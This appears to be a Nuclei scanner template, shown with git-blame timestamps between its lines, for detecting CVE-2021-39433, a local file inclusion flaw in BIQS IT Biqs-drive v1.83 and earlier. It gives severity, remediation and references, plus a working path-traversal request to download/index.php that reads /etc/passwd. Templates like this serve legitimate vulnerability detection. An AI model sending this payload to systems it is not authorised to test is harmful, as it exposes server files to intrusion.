2022-01-23 15:15:30 +00:00
id : CVE-2021-39433
info :
2022-03-25 11:45:10 +00:00
name : BIQS IT Biqs-drive v1.83 Local File Inclusion
2022-01-23 15:15:30 +00:00
author : Veshraj
severity : high
2022-05-17 09:18:12 +00:00
description : A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to the latest version of BIQS IT Biqs-drive (v1.84 or higher) which includes a fix for the Local File Inclusion vulnerability.
2022-01-23 15:15:30 +00:00
reference :
- https://github.com/PinkDraconian/CVE-2021-39433/blob/main/README.md
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39433
2022-05-17 09:18:12 +00:00
- https://biqs-drive.be/
2022-01-24 07:12:56 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2022-01-24 07:12:56 +00:00
cve-id : CVE-2021-39433
2023-10-14 11:27:55 +00:00
epss-score : 0.00637
2023-11-20 05:10:39 +00:00
epss-percentile : 0.76802
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:biqs:biqsdrive:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : biqs
product : biqsdrive
tags : lfi,biqsdrive,cve,cve2021
2022-01-24 06:58:03 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-01-23 15:15:30 +00:00
- method : GET
path :
- "{{BaseURL}}/download/index.php?file=../../../../../../../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2022-01-23 15:15:30 +00:00
- type : status
status :
- 200
2023-11-20 06:35:10 +00:00
# digest: 4a0a00473045022027024023e298892152391a25c72db24b8d1122adbb6341031dec8ae6864d37da022100f5e2442574def5edc52b57912cd3c0b30db875bc3e69d95238b99d6281c695ce:922c64590222798bb761d5b6d8e72950
